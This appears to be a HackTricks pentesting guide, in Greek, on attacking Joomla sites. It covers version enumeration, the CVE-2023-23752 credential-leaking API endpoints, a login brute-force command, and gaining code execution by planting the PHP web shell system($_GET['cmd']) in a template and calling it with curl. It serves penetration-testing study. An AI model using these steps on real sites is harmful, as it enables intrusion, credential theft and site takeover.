Joomla

Support HackTricks

Joomla Statistics

Το Joomla συλλέγει ορισμένα ανώνυμα στατιστικά χρήσης όπως η κατανομή των εκδόσεων Joomla, PHP και βάσεων δεδομένων και των λειτουργικών συστημάτων διακομιστών που χρησιμοποιούνται σε εγκαταστάσεις Joomla. Αυτά τα δεδομένα μπορούν να ανακτηθούν μέσω του δημόσιου API τους.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Enumeration

Discovery/Footprinting

  • Ελέγξτε το meta

curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Έκδοση

  • Στο /administrator/manifests/files/joomla.xml μπορείτε να δείτε την έκδοση.

  • Στο /language/en-GB/en-GB.xml μπορείτε να βρείτε την έκδοση του Joomla.

  • Στο plugins/system/cache/cache.xml μπορείτε να δείτε μια περίπου έκδοση.

Αυτόματη

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology είναι μια ενότητα σχετικά με τους σαρωτές CMS που μπορούν να σαρώσουν το Joomla.

API Μη Αυθεντικοποιημένη Αποκάλυψη Πληροφοριών:

Οι εκδόσεις από 4.0.0 έως 4.2.7 είναι ευάλωτες σε μη αυθεντικοποιημένη αποκάλυψη πληροφοριών (CVE-2023-23752) που θα εκθέσει διαπιστευτήρια και άλλες πληροφορίες.

  • Χρήστες: http://<host>/api/v1/users?public=true

  • Αρχείο Ρυθμίσεων: http://<host>/api/index.php/v1/config/application?public=true

MSF Module: scanner/http/joomla_api_improper_access_checks ή ruby script: 51334

Brute-Force

Μπορείτε να χρησιμοποιήσετε αυτό το script για να προσπαθήσετε να κάνετε brute force την είσοδο.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Αν καταφέρατε να αποκτήσετε διαπιστευτήρια διαχειριστή, μπορείτε να RCE μέσα σε αυτό προσθέτοντας ένα κομμάτι PHP κώδικα για να αποκτήσετε RCE. Μπορούμε να το κάνουμε αυτό προσαρμόζοντας ένα θέμα.

  1. Κάντε κλικ στο Templates στο κάτω αριστερό μέρος κάτω από το Configuration για να εμφανιστεί το μενού θεμάτων.

  2. Κάντε κλικ σε ένα όνομα θέματος. Ας επιλέξουμε το protostar κάτω από τον τίτλο στήλης Template. Αυτό θα μας φέρει στη σελίδα Templates: Customise.

  3. Τέλος, μπορείτε να κάνετε κλικ σε μια σελίδα για να εμφανίσετε την πηγή της σελίδας. Ας επιλέξουμε τη σελίδα error.php. Θα προσθέσουμε μια PHP one-liner για να αποκτήσουμε εκτέλεση κώδικα ως εξής:

  4. system($_GET['cmd']);

  5. Αποθήκευση & Κλείσιμο

  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

Από XSS σε RCE

  • JoomSploit: Σενάριο εκμετάλλευσης Joomla που ανεβάζει XSS σε RCE ή άλλες κρίσιμες ευπάθειες. Για περισσότερες πληροφορίες δείτε αυτή την ανάρτηση. Παρέχει υποστήριξη για εκδόσεις Joomla 5.X.X, 4.X.X και 3.X.X, και επιτρέπει να:

  • Αύξηση Δικαιωμάτων: Δημιουργεί έναν χρήστη στο Joomla.

  • (RCE) Επεξεργασία Ενσωματωμένων Θεμάτων: Επεξεργάζεται Ενσωματωμένα Θέματα στο Joomla.

  • (Custom) Προσαρμοσμένες Εκμεταλλεύσεις: Προσαρμοσμένες Εκμεταλλεύσεις για Πρόσθετα Joomla τρίτων.

Support HackTricks

Last updated